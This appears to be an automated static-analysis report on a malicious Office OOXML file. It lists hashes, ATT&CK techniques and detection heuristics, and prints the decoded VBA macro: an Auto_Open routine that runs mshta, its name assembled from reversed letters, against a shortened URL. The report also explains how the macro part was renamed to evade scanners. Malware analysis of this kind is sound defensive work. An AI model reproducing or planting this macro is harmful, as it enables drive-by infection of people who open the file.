Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 64d544229f5b60f5…

MALICIOUS

Office (OOXML)

8.1 KB First seen: 2026-06-05
MD5: 0e51b896580b1130bbf7b54365a1f6e1 SHA-1: 9c481deca4f6a40731e0bf8f0bed6545384dfdba SHA-256: 64d544229f5b60f5a4d886ded6104622d0a22207c63d70fd103f93e094a48b32
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro within an OOXML file, specifically an Auto_Open macro that uses CreateObject to execute a shell command. The script reconstructs the URL "https://www.bitly.com/adjcndchsiojcisjmd" and attempts to execute it, likely to download and run a second-stage payload. The VBA project part was also renamed to evade detection.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/asdoaksdok.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Outlook = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Auto_Open _
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/adjcndchsiojcisjmd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 824 bytes
SHA-256: 691a42de587bf412fc4a0c9e9a6d367cdc1e7452fb83340a621f1688685712fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module111"

Sub _
Auto_Open _
()
Dim MsgBox As New topli
Set Outlook = CreateObject("Outlook.Application")

Set Microsoft = Outlook.CreateObject("Shell.Application")

Microsoft.ShellExecute MsgBox.mill, MsgBox.link





End _
Sub


Attribute VB_Name = "topli"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function mill()
o = StrReverse("M")
m = StrReverse("s")
l = StrReverse("H")
a = StrReverse("t")
i = StrReverse("A")
mill = o + m + l + a + i
End Function
Function link()
link = "https://www.bitly.com/adjcndchsiojcisjmd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/asdoaksdok.b 16896 bytes
SHA-256: b341745613da49be58cb31cded9eb4f67ba51a2929c6ac3181dd0ac497358370

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